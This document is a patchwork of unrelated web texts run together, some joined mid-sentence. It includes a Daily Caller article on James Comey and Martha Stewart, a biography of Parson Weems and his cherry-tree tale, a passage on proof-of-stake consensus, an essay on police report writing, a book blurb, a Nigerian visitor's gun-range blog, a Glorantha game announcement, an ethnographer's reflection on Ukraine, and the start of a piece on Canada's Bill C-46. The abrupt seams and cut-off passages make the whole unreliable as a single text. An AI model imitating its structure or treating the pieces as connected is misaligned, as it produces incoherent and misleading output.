This means that our starting lineup going forward will be: adreN, Elige, koosta, Hiko and nitr0.
Reply · Report PostFBI Director James Comey declined to recommend criminal charges against former Secretary of State Hillary Clinton for mishandling classified material Tuesday. But back in 2004, he led what legal observers call a “petty and vindictive” prosecution against interior design icon Martha Stewart for a lesser offense.
Stewart served a five-month prison sentence in 2004 at the Federal Prison Camp in Alderson, West Virginia, also known as “Camp Cupcake,” for lying to federal investigators about possible insider trading. In the years since the case, there is a consensus in the legal community that Comey’s prosecution was overzealous and vindictive.
The Cato Institute’s Gene Healy condemned Comey’s actions as temperamental and political in a 2004 column. Healy argued that Stewart’s indictment was largely possible because the sheer volume of federal laws makes it possible to indict almost any individual on some basis — reasonable or unreasonable. Quoting former Supreme Court Justice Robert Jackson, Healy wrote prosecutors “will pick people that he thinks he should get, rather than pick cases that need to be prosecuted.”
His Cato colleague Alan Reynolds argued Comey prosecuted Stewart for “having misled people by denying having committed a crime with which she was not charged.”
Meanwhile, observers on the left called on President Barack Obama to pardon Stewart.
“Although some enjoyed schadenfreude at Stewart’s expense, the government’s case did seem petty and vindictive,” wrote Michael Maiello at The Daily Beast. He also pointed out that federal prosecutors would have had “a devil of a time” proving that Stewart was aware the advice she acted on was “tainted by material, nonpublic information.”
Even officials at the U.S. Department of Justice were sympathetic to concerns voiced by Healy, Reynolds, and Maiello.
“A Justice Department spokesman said that the government was concerned that the decision to send Ms. Stewart to Alderson would be perceived as vindictive. But that official, who asked not to be identified, insisted Ms. Stewart’s fate had been sealed by her own fame,” the New York Times reported in 2004.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.Mason Locke Weems (October 11, 1759 – May 23, 1825), usually referred to as Parson Weems, was an American book agent and author who wrote the first biography of George Washington immediately after his death. He was the source of some of the apocryphal stories about Washington. The tale of the cherry tree ("I cannot tell a lie, I did it with my little hatchet") is included in the fifth edition of The Life of Washington (1809 imprint, originally published 1800), a bestseller that depicted Washington's virtues and was intended to provide a morally instructive tale for the youth of the young nation.[1]
Biography [ edit ]
Bel Air Plantation, where Weems and his family moved upon the death of his father-in-law, Col. Jesse Ewell, in 1805
Mason Weems was born on October 11, 1759, in Anne Arundel County, Maryland. He studied theology in London and was ordained in the Protestant Episcopal Church in 1784. He worked as a minister in Maryland in various capacities from 1784 to 1792. Financial hardship forced Weems to seek additional employment, and he began working as a traveling book agent. Weems married Frances Ewell in 1795 and established a household in Dumfries, Virginia. He had a small bookstore in Dumfries that now houses the Weems–Botts Museum, but he continued to travel extensively, selling books and preaching.[2]
Dumfries is not far from Pohick Church, part of Truro Parish, in Lorton, Virginia, where both George Washington and his father Augustine had worshiped in pre-Revolutionary days. Weems would later inflate this Washington connection and promote himself as the former "rector of Mount-Vernon parish".
Other notable works by Weems include Life of General Francis Marion (1805); Life of Benjamin Franklin, with Essays (1817); and Life of William Penn (1819). He was an accomplished violinist.[citation needed]
After the death of his father-in-law, Colonel Jessie Ewell (1743–1805), Weems assumed the Ewell family estate, Bel Air, located in Prince William County, Virginia, to partially satisfy debts owed to Weems. In 1808, Weems and his family moved into Bel Air, where he lived until his death. While on travel in Beaufort, South Carolina, Weems died on May 23, 1825 of unspecified causes. He is buried at Bel Air.[3]
Influence and historical reliability [ edit ]
The New York Times has described Weems as one of the "early hagiographers" of American literature "who elevated the Swamp Fox, Francis Marion, into the American pantheon and helped secure a place there for George Washington".[4]
Weems' name would probably be forgotten today were it not for the tension between the liveliness of his narratives and what Appletons' Cyclopaedia of American Biography (1889) called "this charge of a want of veracity [that] is brought against all Weems's writings," adding that "it is probable he would have accounted it excusable to tell any good story to the credit of his heroes." The cherry-tree anecdote illustrates this point. Another dubious anecdote found in the Weems biography is that of Washington's prayer during the winter at Valley Forge.[5][6]
The exaltation of Washington [ edit ]
The exalted esteem in which the founding fathers, and especially George Washington, were held by 19th-century Americans may seem quaintly exaggerated to their 21st-century counterparts, but that Washington was so regarded is undisputed. The acme of this esteem can be seen on the ceiling of the United States Capitol Building in the form of Brumidi's fresco The Apotheosis of Washington.
Weems' A History of the Life and Death, Virtues and Exploits of General George Washington,[7] was a biography written in this spirit, amplified by the florid, rollicksome style which was Weems' trademark. According to this account, his subject was "... Washington, the hero, and the Demigod..." and at a level above that "... what he really was, [was] 'the Jupiter Conservator,' the friend and benefactor of men." With this hyperbole, Weems elevated Washington to the Augustan level of the god "Jupiter Conservator [Orbis]" (that is, "Jupiter, Conservator of the Empire", later rendered "Jupiter, Savior of the World").
Cherry-tree anecdote [ edit ]
'Parson Weems' Fable', a 1939 painting by Grant Wood, depicting both Weems and his "Cherry Tree" story.
Among the exaggerated or invented anecdotes is that of the cherry tree, attributed by Weems to "... an aged lady, who was a distant relative, and, when a girl, spent much of her time in the family..." who referred to young George as "cousin".[8]
The following anecdote is a case in point. It is too valuable to be lost, and too true to be doubted; for it was communicated to me by the same excellent lady to whom I am indebted for the last. "When George," said she, "was about six years old, he was made the wealthy master of a hatchet! Of which, like most little boys, he was immoderately fond, and was constantly going about chopping everything that came in his way. One day, in the garden, where he often amused himself hacking his mother's pea-sticks, he unluckily tried the edge of his hatchet on the body of a beautiful young English cherry-tree, which he barked so terribly, that I don't believe the tree ever got the better of it. The next morning the old gentleman, finding out what had befallen his tree, which, by the by, was a great favourite, came into the house; and with much warmth asked for the mischievous author, declaring at the same time, that he would not have taken five guineas for his tree. Nobody could tell him anything about it. Presently George and his hatchet made their appearance. "George," said his father, "do you know who killed that beautiful little cherry tree yonder in the garden? " This was a tough question; and George staggered under it for a moment; but quickly recovered himself: and looking at his father, with the sweet face of youth brightened with the inexpressible charm of all-conquering truth, he bravely cried out, "I can't tell a lie, Pa; you know I can't tell a lie. I did cut it with my hatchet." "Run to my arms, you dearest boy," cried his father in transports, "run to my arms; glad am I, George, that you killed my tree; for you have paid me for it a thousand fold. Such an act of heroism in my son is more worth than a thousand trees, though blossomed with silver, and their fruits of purest gold."
It went on to be reprinted in the popular McGuffey Reader used by schoolchildren, making it part of the culture, causing Washington's February 22 birthday to be celebrated with cherry dishes, with the cherry often claimed to be a favorite of his.
In 1896 Woodrow Wilson's biography George Washington was published, calling it a fabrication, after which almost all historians of the period followed suit, even though the story was never denied by Washington's relatives, notably Eleanor Parke Custis Lewis (1779-1852). In spite of the speculation offered by some historians, Phillip Levy argues that the story remains plausible and has not been proven or disproven.[9]
Cultural references [ edit ]
In 1911 Lawrence C. Wroth published Parson Weems: A Biographical and Critical Study.[10] In this he confronts the fact that Weems is best known for the story of the cherry tree |
lost the ability to spend ten of my bitcoins for some duration). Hence, although the marginal cost of liquidity will be high (specifically, necessarily equal to either the mining reward or the transaction fee), the average cost is much lower. Hence, there is a leverage effect that allows the cost of an attack to be much higher than the inefficiency of the network, or the amount that senders spend on txfees. Additionally, note that in Larimer’s scheme specifically, things are rigged in such a a way that all liquidity that is sacrificed in consensus is liquidity that was being sacrificed anyway (namely, by not sending coins earlier), so the practical level of inefficiency is zero.
Now, TaPoS does have its problems. First, if we try to make it more scalable by reintroducing the concept of blocks, then there ideally needs to be some reason to produce blocks that is not profit, so as not to reintroduce the nothing-at-stake problem. One approach may be to force a certain class of large transaction senders to create blocks. Second, attacking a chain is still theoretically “cost-free”, so the security assurances are somewhat less nice than they are in proof-of-work. Third, in the context of a more complicated blockchain like Ethereum, and not a currency, some transactions (eg. finalizing a bet) are actually profitable to send, so there will be incentive to double-mine on at least some transactions (though not nearly all, so there is still some security). Finally, it’s a genesis-block-nobility system, just like all proof-of-stake necessarily is. However, as far as pure proof-of-stake systems go, it does seem a much better backbone than the version of proof of stake that emulated Bitcoin mining.
Hybrid Proof of Stake
Given the attractiveness of proof of stake as a solution for increasing efficiency and security, and its simultaneous deficiencies in terms of zero-cost attacks, one moderate solution that has been brought up many times is hybrid proof of stake, in its latest incantation called “proof of activity”. The idea behind proof of activity is simple: blocks are produced via proof of work, but every block randomly assigns three stakeholders that need to sign it. The next block can only be valid once those signatures are in place. In this system, in theory, an attacker with 10% stake would see 999 of his 1000 blocks not being signed, whereas in the legitimate network 729 out of 1000 blocks would be signed; hence, such an attacker would be penalized in mining by a factor of 729.
However, there is a problem: what motivates signers to sign blocks on only one chain? If the arguments against pure proof of stake are correct, then most rational stake-miners would sign both chains. Hence, in hybrid PoS, if the attacker signs only his chain, and altruists only sign the legitimate chain, and everyone else signs both, then if the attacker can overpower the altruists on the stake front that means that the attacker can overtake the chain with less than a 51% attack on the mining front. If we trust that altruists as a group are more powerful in stake than any attacker, but we don’t trust that too much, then hybrid PoS seems like a reasonable hedge option; however, given the reasoning above, if we want to hybridize one might ask if hybrid PoW + TaPoS might not be the more optimal way to go. For example, one could imagine a system where transactions need to reference recent blocks, and a blockchain’s score is calculated based on proof of work and coin-days-destroyed counts.
Conclusion
Will we see proof of stake emerge as a viable alternative to proof of work in the next few years? It may well be. From a pure efficiency perspective, if Bitcoin, or Ethereum, or any other PoW-based platform get to the point where they have similar market cap to gold, silver, the USD, EUR or CNY, or any other mainstream asset, then over a hundred billion dollars worth of new currency units will be produced per year. Under a pure-PoW regime, an amount of economic power approaching that will be spent on hashing every year. Thus, the cost to society of maintaining a proof-of-work cryptocurrency is about the same as the cost of maintaining the Russian military (the analogy is particularly potent because militaries are also proof of work; their only value to anyone is protecting against other militaries). Under hybrid-PoS, that might safely be dropped to $30 billion per year, and under pure PoS it would be almost nothing, except depending on implementation maybe a few billion dollars of cost from lost liquidity.
Ultimately, this boils down to a philosophical question: exactly how much does decentralization mean to us, and how much are we willing to pay for it? Remember that centralized databases, and even quasi-centralized ones based on Ripple consensus, are free. If perfect decentralization is indeed worth $100 billion, then proof of work is definitely the right way to go. But arguably that is not the case. What if society does not see decentralization as a goal in itself, and the only reason why it’s worth it to decentralize is to get the increased benefits of efficiency that decentralization brings? In that case, if decentralization comes with a $100 billion price tag, then we should just centralize and let a few governments run the databases. But if we have a solid, viable proof of stake algorithm, then we have a third option: a system which is both decentralized and cost-free (note that useful proof of work also fits this criterion, and may be easier); in that case, the dichotomy does not exist at all and decentralization becomes the obvious choice.Monday through Friday, I’m enthralled by a man I’ve never met. His name is Martinez and he’s a cop with the Los Angeles Police Department.
Martinez works in crime suppression in South Central L.A. He and his partner, Brown, patrol the streets and respond to scenes-of-crimes. Every incident they investigate generates a written account.
I know Martinez only through his incident reports, as a five-digit number on a sheet of paper. In our precinct’s Crime Analysis Division, I read and code hundreds of these reports each day. They are written by every serving officer on roster, and by design most of them sound exactly alike.
Surprisingly, writing is the one constant in a cop’s daily life. Whether he’s assigned to vice or patrol, working bunco or undercover, every day he’ll write. Most precincts have specially designated writing rooms, where the average cop hates spending time—worse than on shoot-outs, stakeouts, and court appearances put together. As with everything in the department, strict rules govern report writing, and as with any dangerous undertaking, the department will train you to do it properly. The most despised class at the police academy is the one that teaches writing. A cadet can’t be sworn as a police officer without passing it.
The incident report he’ll learn to write is the factual narrative account of a crime—of a rape, robbery, murder, criminal threat, lewd act, vandalism, burglary, sexual molestation, kidnapping, or assault. Every event a cop responds to generates a report.
Crime reports are written in neutral diction, and in the dispassionate uni-voice that’s testament to the academy’s ability to standardize writing. They feel generated rather than authored, the work of a single law enforcement consciousness rather than a specific human being.
So how can I identify Martinez from a single sentence? Why do his reports make me feel pity, terror, or despair? Make me want to put a bullet in someone’s brain—preferably a wife beater’s or a pedophile’s, but occasionally my own? How does he use words on paper to hammer at my heart? Like all great cops, Sergeant Martinez is a sneaky fucker. He’s also a master of inflection and narrative voice.
An incident report tells only what happened: where, when, and to whom. It offers multiple perspectives of the same event from often contradictory points of view of cop, victim, suspect, and witnesses. Even when these accounts agree, no two people see things identically or invest their attention in the same details. Each person’s agenda is inherently personal.
An incident report lists the inventory of all physical evidence collected and booked. Anything from shell casings and rape-kit underwear to a three-legged dog in a custody dispute.
In structure, an incident report is a strict chronological narrative. It begins with a Source of Activity section, which tees up the story. It’s where the narrator introduces himself and offers his credentials for telling this tale: “On 4-6-10 at approx. 1922 hours, my partner Ofcr. Brown (badge #13312) and I (Ofcr. Martinez badge #14231) were in full uniform traveling westbound on Gage Avenue when we received the radio call of an LUAC in progress at 82nd St./Central Ave.”
In the investigation section that follows, the narrator tells briefly what his investigation revealed. He lists the actions taken by himself and his partner, and the facts of the case as discovered. The strict emphasis is on verifiable information.
If versions of the event differ from his, these are recorded as witness statements. These can be summaries, but quotes are often included. The narrative voice at the center of an incident report is always emotionally neutral. He’s the ultimate reliable narrator. His sole job is to convince us that everything he tells us is the absolute truth. It all begins with diction.
Cadets are taught to write with care and deliberation, to choose each word for maximum accuracy. Precision, not firepower, is the goal; you don’t use a semiautomatic at close range when you’re packing a Smith & Wesson. Good cop diction means checking each word in a sentence to verify that it can mean only one thing. The officer must avoid words that carry associations, subtext, or bias.
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Officers are encouraged to use action verbs in preference to is and has. Is and has speak abstractions—existence and possession, respectively—and where they go, descriptors follow. Action verbs, on the other hand, move us through time and space. “The Subject removed a hammer from the kitchen drawer and struck the Victim three times in the head and neck” is a good sentence. It tells what physically happened without embellishment.
Avoid modifiers, says the academy. Adverbs—words ending in ly—are slippery and subjective; they shade reality and opine. Any adverb can be eliminated by choosing a better verb. “The Suspect snatched the Victim’s chain and fled” is a sentence without speculation. To know the manner in which the snatching or fleeing transpired would be interpretive.
The academy dislikes adjectives unless they pertain to direction, color, or amount. These are “empirical adjectives.” Because they speak to precision of detail, they resist interpretation. “The black Escalade fired 12 shots into the dwelling on 865 Inglewood Avenue” can mean only one thing.
Parenthetically, the two exceptions to the “no adjectives” rule are the words bloody and suspicious, invoked to justify officer initiative in field investigations. If a suspect “fled while holding his waistband in a suspicious manner,” it’s presumptive of a concealed weapon. If an officer investigates a neighbor complaint and the victim “opened the door wearing bloody clothing,” there’s a pretext to enter and reconnoiter the premises.
These guidelines about diction and story efficiency serve a deeper purpose, which is the legitimizing of the narrative “voice.” The police narrator uses neutral language and uninflected storytelling to assure us of his credibility and to win the reader’s trust. He never judges.
The perpetrator in a crime report is always the “Suspect,” even when 15 witnesses, half of them preachers, see him exit his car and shoot his cousin at point-blank range in a church parking lot. Until a jury reviews the evidence and pronounces, under the law, no crime took place. The police narrator is careful not to imply that he thinks otherwise.
The police narrator further proves his lack of bias by presenting everyone’s version of the same event, giving equal space to the “truth” as reported by victim, suspect, and witness. While he might state that DeWayne “aka Baby Insane” Johnson of the Rolling ’60s Crips shot and killed J’Marcus “aka L’il Monster” Faye of Florencia Trece, he’ll include Baby’s explanation that he was merely examining the gun with an eye toward purchase when that muthafucker up and went off. The narrator’s job isn’t to judge but to relay facts to the best of his ability, and let the reader decide the truth of it.
Words committed to paper have an agenda. The purpose of a police report is to be cited in court as proof of who did what to whom. Its ultimate agenda is justice. It seeks to protect the weak and punish the guilty. Because the stakes are high—freedom, death, or life without parole—it’s written with special care. Above all else, it aims to be truthful. At the same time, to do its job, it needs to be convincing. The story it tells should persuade 12 people in a jury box of something.
On the face of it, these two goals—truthful and persuasive—seem uncomfortably at odds. Shouldn’t facts alone persuade? Should truth need composing? And assuming that it’s possible to write toward this goal—to be truthful and persuasive at once—shouldn’t all fiction writers want to learn how?
Which brings us back to that sneaky fucker, Martinez. Martinez writes incident reports that technically follow the academy’s guidelines. He avoids modifiers and descriptors. He traces the physical action of an event without opining or speculating. He offers accounts that contradict his own findings. He’s succinct and factual. He tells the literal and empirical truth. He writes in the dispassionate narrative uni-voice that conveys objectivity and distance. So why is Martinez instantly discernable on the page from a hundred other cops?
Despite the neutrality of his diction, Martinez’s choices are idiosyncratic. Everything he sees reveals him. And syntactically, though he bends every rule to the breaking point, you can’t bust him.
At a Lewd Acts on Child crime scene, Martinez’s partner, Brown, writes, “The Victim sustained multiple injuries.” Martinez would tell us, “The baby was bleeding from three orifices.” There’s a world of difference here. Brown gives us a victim; Martinez gives us a baby. Brown offers a fact; Martinez paints a picture.
Brown’s statement moves us forward; Martinez makes us stop dead and envision the horrific crime that caused such injuries. Both statements are neutral on the surface, but the specificity of Martinez’s language makes the reader see and feel.
At the same crime scene, Brown says, “We placed the Suspect in a felony prone position and took him into custody without incident.” Martinez would write, “We cuffed the father.” Martinez’s version reminds us of the unnatural aspect of the crime, that a father (presumably) committed it. He edges near the academy no-fly zone with father in place of suspect, but gets away with it because the sentence describes police action—the cuffing—rather than any actions of the suspect. Also, nobody disputes the fact that the suspect is the father; it’s the type of father he is that’s at issue.
At the same crime scene, Martinez might note that there’s “no food in the apartment.” This is an empirical fact, so technically admissible. It doesn’t speak to the specific crime of Lewd Acts on Child, but it does subtly add to the moral charges against the parents. Martinez inflects the barren apartment and makes it speak. Details bring scenes to life. Sometimes the image can tell everything.
In the witness section of the report, Brown might say, “Victim’s mother gave no statement.” Martinez would tell us, “Mother refused to cooperate.” This carries a totally different emphasis and meaning. Martinez doesn’t speculate if she’s protecting her husband at the expense of her child. He doesn’t need to. What kind of mother refuses to speak when her baby is bleeding from three orifices?
Examine these two versions of the same incident, side by side. They admit the same facts. They’re both truthful. But one—Martinez’s—is also persuasive. Why? It’s subtly inflected in every line to signal its agenda. Though it labors under the constraints of the report format, it uses emphasis and diction to suggest how we interpret what it tells us. It may look impartial, but it’s aimed like a weapon.
From a strict moral perspective or the police academy vantage point, Martinez’s incident reports are flawed. They’re failures of objective reportage. Though everything in them is literally true, they’re technically “suspicious”; if Martinez saw a baby-raper, he’s making damn sure we do too.
From a reader’s perspective, Martinez’s incident reports are deeply satisfying. They engage us emotionally; they vest us in the events he describes, and in the teller. They’re narratives that hint at larger truths—about Martinez himself and the South Central universe he polices. They reverberate beyond the time it takes to read them. They offer a way to understand the world.
My Sergeant Martinez may be writing reports, but he’s also using the alchemy of inflection to turn them into stories—narratives that believe themselves and make us believe them, too.
Martinez succeeds—or fails, if you’re his supervisors—because of his commitment to what his stories mean. He continues to protect and serve because inflection isn’t illegal, and you won’t catch him. It’s not a story, it’s “just the facts, ma’am.”
Like Martinez, a good story always has an agenda.
Like Martinez, a good story is a sneaky fucker.
Excerpted from The Writer’s Chronicle (Dec. 2010), a bimonthly covering the world of the written word, including news, essays, interviews, advice, and grant announcements. www.awpwriter.org/magazine
This article first appeared in the March-April 2011 issue of Utne Reader.(ENTIRE BOOK) The path that through the centuries led Christian theology away from the dynamic and interactive God of the biblical writings to the immutable deity of classical theologians also involved a de-emphasis upon divine love in favor of divine power. David Polk traces this path with great care in remarkably accessible language, showing how at numerous points the ideas of creative thinkers, pointing to a better way, were largely ignored. With equal care and lucidity, Polk traces the eventual turn, still in progress, toward a new understanding that recovers what was lost and provides the groundwork for a creative resolution to age-old theological conundrums appropriate to our contemporary situation. Concluding with a resolution of the love-power question through a concept of empowering love, the book makes an important contribution to contemporary theological reflection. I can heartily recommend it not only as a textbook for college and seminary students but also as material for advanced-level adult study groups in local churches. It is not an easy task to speak to such a wide spectrum of persons, and we should be grateful to Polk for having done so.
~Russell Pregeant, Professor of Religion and Philosophy and Chaplain, Emeritus, Curry CollegeHello all, Y-man here. It’s been a long time, and I have missed writing my guest posts. Thanks to Steve for having me. Many thanks for all your kind and constructive comments.
Like some would know, I finally travelled from Nigeria to Orlando Florida, USA in early October, for work and training related stuff. It was a GOOD trip, and in between several days of hard, concentrated work and training, I actually got some firearms related things done. I was able to buy quite a few desperately needed items, and DID SOME SHOOTING!
I arrived Atlanta Georgia in early October after a draining 12-hour direct flight from Lagos Nigeria, and connected to Orlando for another 2 hours. Landing in Orlando, and driving down the road through lush vegetation, and the little lakes to my hotel, I was struck by how similar everything is to Nigeria! The weather was divine.
Whew! Was I knocked out or what?! Jet-lag and confusion on time differences set in, but with the excitement I felt, and luckily, my booked hotel had a room ready for me that morning: my 14 hour flight did not seem too bad after all – I freshened up, and hit the shops.
I started with electronics in Best Buy (Felt like I was in HEAVEN!) Got me the new Galaxy Note 10.1 tablet (The rest of the world is BIG on non-Apple things.), 2 GoPro HD cameras, a good tripod, new Nikon Nikkor 55-300mm zoom lens for my Nikon D7000 camera. It was a hoot! I had to control myself from blowing too much money. It was all made more easy by the fact that my Nigeria Visa Debit Card, full of “Naira” (The Nigerian currency is “Naira”, Google it.) worked perfectly! I was able to pay in Dollars in all the shops.
From Best Buy, I went to Bass Pro at Orlando, on Vineland Road. It was another heavenly experience: seeing all the things I had previously only seen online, and in catalogues, in REAL life. I handled rifles, checked out shotguns, browsed through handguns, sat in several ATVs, and “crewed” a few boats. It was better than Disney World! (Maybe Bass Pro should think of setting up a theme park! With rides and everything…)
After taking these items back to my hotel (They FILLED the trunk of the taxi!) I left on a great adventure.
First Range visit (04 October 2012)
| went off in the evening to the Oakland Ridge Gun Range, an indoor handgun and carbine range, about 25 minutes drive from my hotel. I was surprised the taxi driver was not perturbed that I wanted to go to a shooting range. Imagine asking that in Nigeria: the man would most likely run screaming from the moving taxi (Ok, ok, I exaggerate!) Well, I was pleasantly surprised, I got to the range, no 7-foot tall guard at the door demanding to see my mental health certificate, my passport and my visa, I walked in, nice people, warm greetings all round. I was amazed at the variety of the spread of firearms I saw on display.
I introduced myself, told them I wanted to do some shooting, and got talking with one of the friendly staff, let’s call him “Jim”. He asked if I had ever done any shooting before, and in response, I whipped out my Galaxy Tablet, and opened up a video of me shooting my shotgun from earlier this year. He was impressed, and was even more impressed when he spotted my shotgun stock – I told him I self-fabricated that, and even more when I told him about my homemade slugs. His colleague voiced concern about “you giving that African gentleman range time?” when Jim began to clip my Passport to the Range board, and started to get me a firearm to start with. Jim simply looked the older gentleman in the eye, and told him: “This here is a certified expert shooter, hell, he makes his own slugs!”
So this is how I did:
Started small:.22LR in a Ruger long-barrel Revolver. I went into the shooting area, lane 4, set up my target at 25 yards, and quickly got bored with the little “Pew! Pew! Pew!” of the.22LR round. Revolvers are NOT easy to shoot. At least I hit the “bad guy several times, and saved the hostage lady without killing or wounding her. I fired off half a pack of ammo. Went back to get a different gun, and ammo: did the Magnum.357 calibre in another long barrel Revolver. I had some reasonable accuracy at 20 and 30 yards. Again, another revolver not liked. I did not enjoy the double action (Where pull of trigger both raises the hammer, and then releases it.), so I kept using my thumb to pull back the hammer for each shot. I also kept flinching, and (As the video shows) closing my eyes when firing. The blast from the chamber gap did not help matters one bit either. I fired off half a pack of ammo. Went to the desk, and got me a.45 1911 Pistol! Came back to my lane and Lord have mercy! Like a duck to water: sweet-shooting, smooth-cycling, hard-hitting FUN! I fired off 8 rounds magazine after 8 round magazine of.45 ACP. Lovely accuracy too, out to 30 yards and beyond. Working the slide, the safety and magazine release just seemed to come to me naturally, as well as instinctive aiming. I can see why the 1911 is such a widely loved pistol now. Went back to the desk, and spotted the Beretta CX4 Storm Carbine in.45 calibre on the wall. I told Jim: “I want! I want! Gimme!”. Picked that up, and took it to the shooting lane, quickly got used to the firearm, and loaded up the 8-round magazine they had. I REALLY enjoyed the shooting out to 40 yards: accuracy was sweet also. My only problem: had to use the clunky hearing protection given to me at the range: it interfered with my cheek-weld. Also, lighting was not the best there, I could barely get a good sight picture, and sometimes shot instinctively, I got some REALLY good accuracy.
When I was through, I took my remaining ammo to the desk (.22LR,.357,.45.) and was told I could hold on to them for a later visit to the range, as they had already charged me for the full boxes. So I left for the hotel with almost 100 rounds of ammo in my backpack, thinking, wow: if my local Nigerian policeman could stop me now: he’d sh!t bricks!. I proudly took my target papers too. I had gotten some video on the GoPro cameras and will share with you here via YouTube.
Second Range visit (A day before I left the US.)
I met the older gentleman this time, and he remembered me when I mentioned “the African who makes his own shotgun stock…” Everyone was nice and friendly. “Jim” seemed to have gone out.
This is what I fired:
Glock 19 40mm (Good gun, 15 round magazine, hit me with a “slide pinch” when I stupidly put my thumb over the grip top. Small wound but hurt and bled like hell. Beretta CX4 Storm carbine in.45 ACP (While firing, at one point, I took a phone call from a friend back in Nigeria, and scared the living daylights out of him by punctuating each sentence with a shot. He kept asking: “What was that?!”) Finished off the remaining.22LR ammo from my first range visit in a AR-15 type rifle: sweet shooting! Finished off the remaining.357 Magnum rounds in a snub-nosed revolver. Man! It was LOUD! (I HATE revolvers!) I was flinching and closing my eyes as if my life depended on it. Muzzle and chamber blast were massive! Other shooters actually stopped to watch me shoot this…
Can anyone help identify this rifle? Seems like the front sight is fixed backwards! That didn’t stop me from VERY good accuracy.
I can honestly say I walked out from the range both days with a big smile on my face, and on 11th October, flew out of Orlando, via Atlanta to Nigeria with an even bigger smile. I thoroughly ENJOYED myself!
Now, back to the Knoxx Blackhawk! stock I bought from Bass Pro. I initially thought to cut the folding stock part off the pistol grip, and bring it into the country on my return. But it turned out I did not need to. I simply brought it in as it is, in my checked in baggage, and got waved through after checks. Of course I had taken it out of the packaging first. So now, for the first time, my Mossberg has a proper folding stock!
I have installed it, but testing it will be another story. When it is safe enough to take the shotgun to some distant empty areas, I will test the stock, the H—Viz sights and my new slug designs and let you know.
I really enjoyed my Orlando visit, and hope to make more soon.
Many thanks Orlando, many thanks USA! (And I got the T-shirt too!)Glorantha returns home to Chaosium!
We are proud to announce that Glorantha has returned home to Chaosium. And specifically, our store has moved over there.
Browse our product catalogs for Glorantha, HeroQuest, and RuneQuest.
Glorantha.com will still remain and focus on all things Gloranthan. All your PDF downloads will still available until we move your orders to the new site.
Welcome to Greg Stafford’s Mythic World of Glorantha
Come explore Glorantha – a Bronze Age world where mythology comes to life and adventure is only a step away.
Glorantha is in many ways similar to our own world, but exists in a magical universe where the laws of physics are subordinate to the whims of the gods and spirits. To understand Glorantha, you must leave our mundane world and enter the world of myth. The Sun is a living god, and not a nearby star. Countless gods exist, some even more powerful than the Sun, and all have the power to directly affect humanity. Rulers and leaders use magical rather than technological means to achieve their ends, and even the humblest of persons will cross the paths of the gods and spirits.
Check out our Podcast!
We are excited to announce the release of our new podcast – now available on iTunes.
Glorantha is one of the oldest and best-defined fantasy roleplaying settings. It first burst into the consciousness of legendary game designer Greg Stafford in 1966, and has been explored through board games (including White Bear & Red Moon, Nomad Gods, and The Gods War, roleplaying games (including HeroQuest, RuneQuest, and 13th Age in Glorantha), and computer games (including the award-winning King of Dragon Pass).
“Fantasy is not so much a suspension of disbelief as it is an acceptance of our own unconsciousness. Fantasy is as old as man, beginning back in our animal history when someone had the first abstract thought. In our Western society, empirical data and rational thought have become the touchstones of experience. This is worse than cutting off half your body. The fantastic is easily half of the universe, whether you count galaxies and nucleotides or court a demon in a pentacle.”
– Greg Stafford.One of an ethnographer’s most important instruments is his or her body. What has been called an “affective turn” in the social sciences has entailed thinking of the body as more than a set of significations in the performance of an identity. Writing in anthropology along these lines has provided a refreshing appreciation of how discursive approaches do not adequately capture the body that lives, moves, and senses. “From a phenomenological perspective, the living body is considered the existential null point from which our various engagements with the world—whether social, eventful, or physical—are transacted.” 1
Doing fieldwork with people displaced within Ukraine this summer has taught me a lot in this regard. When I most fully appreciated this was last night. I noticed as I was going to sleep that it was raining. Then, as I was dozing off, I heard what I thought was bombing. Gunfire. Then car alarms in my neighborhood began going off.
With my heart pounding, I leapt out of bed, and started to climb under it. Then I thought better of that idea, threw on my clothes, and grabbed my wallet and passport with the thought that I do not want to die in pile of rubble here and now. I ran around the room in circles a few times thinking about what else to take before deciding my belongings were, at that moment in time, irrelevant. Then, as I was breathing rapidly and turning the key in the lock, I stopped to think about what I was hearing.
Thunder. It’s raining. I hear thunder. I took off my street clothes and went back to bed. As an ethnographer, I know this is a “good” sign: I am sensitive enough to not only empathize with the people who choose to share with me, but also to feel, inside my own skin, something of this protracted “hybrid” war.
Even though I was at that time far from the conflict zone, my body understood rain and thunder as armed conflict because I had been listening carefully to people who had escaped the fighting, or expected war to come to their region. In psychological language this is called “vicarious post-traumatic stress disorder.” In anthropological language, this is called “participant observation.” I have several other symptoms, and I don’t know whether to call them disordered or ordered, but that is beside my point.
The point has to do with how attention to the body may complement other approaches. Phenomenologists argue that even our most basic experiences of physical objects provided evidence of a foundational inter-subjectivity. This is really the only way I can understand all of the shifts in my own embodied experience. The foods that taste good and bad; the perfumes and scents that appeal and repel; the objects that elicit fear and calm, are different.
Balaclavas, because they obstruct recognition, and weapons for obvious reasons, used to terrify. Now I have a very different physical and emotional response.
For readers who don’t follow the conflict in this region, those who objected to the Russian Federation’s territorial incursions into Ukraine (primarily but not exclusively Crimean Tatars) began to blockade Crimea. This is where weapons and balaclavas come back in. They set up and have maintained what they call a “citizen blockade” since Fall 2015 because Ukrainian products (entire semi-trailers full of Ukrainian goods) flowed into and changed hands in the Russian-controlled territory, even after the unlawful occupation. Obviously, this undermined the effectiveness of Western sanctions, and made it easier for the occupational authorities to maintain their control of the peninsula.
In this context, balaclavas protect the men and women who have taken matters into their own hands. They cover their faces because if Russian security services recognize them as working to free Crimea, whether that is in the capital or some other part of Ukraine, their family members and loved ones living across the border in the occupied territory could be become the targets of violence. War and kinship are linked here, and both are highly tactical.
In what Rigi (2012) called, describing Russia, “a corrupt state of exception,” guns and balaclavas are part of my everyday. The image of tea time, showing my university-issued audio recorder, notebook, and a machine gun (not mine) captures, from phenomenological perspective, the flow of fieldwork around contested territory. In a place where many things don’t make sense, and where “fear” and “safety” collide, my body is my guide.
1 Desjarlis, Robert and C. Jason Throop. 2011. “Phenomenological Approaches in Anthropology,” Annual Review of Anthropology 40: 89.
RIgi, Jakob. 2012. “The Corrupt State of Exception: Agamben in Light of Putin,” Social Analysis Vol. 56: 3: 69-88.Recently, the House of Commons Standing Committee on Justice and Human Rights has focused its attention on Bill C-46, which will tighten impaired driving laws, particularly cannabis impaired driving.
While there is no disagreement that laws targeting impaired driving should be strongly enforced, and the government has taken a positive step forward in contemplating impaired driving law reforms, the proposed testing and enforcement mechanisms in Bill C-46 raise significant questions and concerns around civil liberties and human rights.
The law as proposed would criminalize Canadians who use medical cannabis responsibly – even when they are not actually impaired.
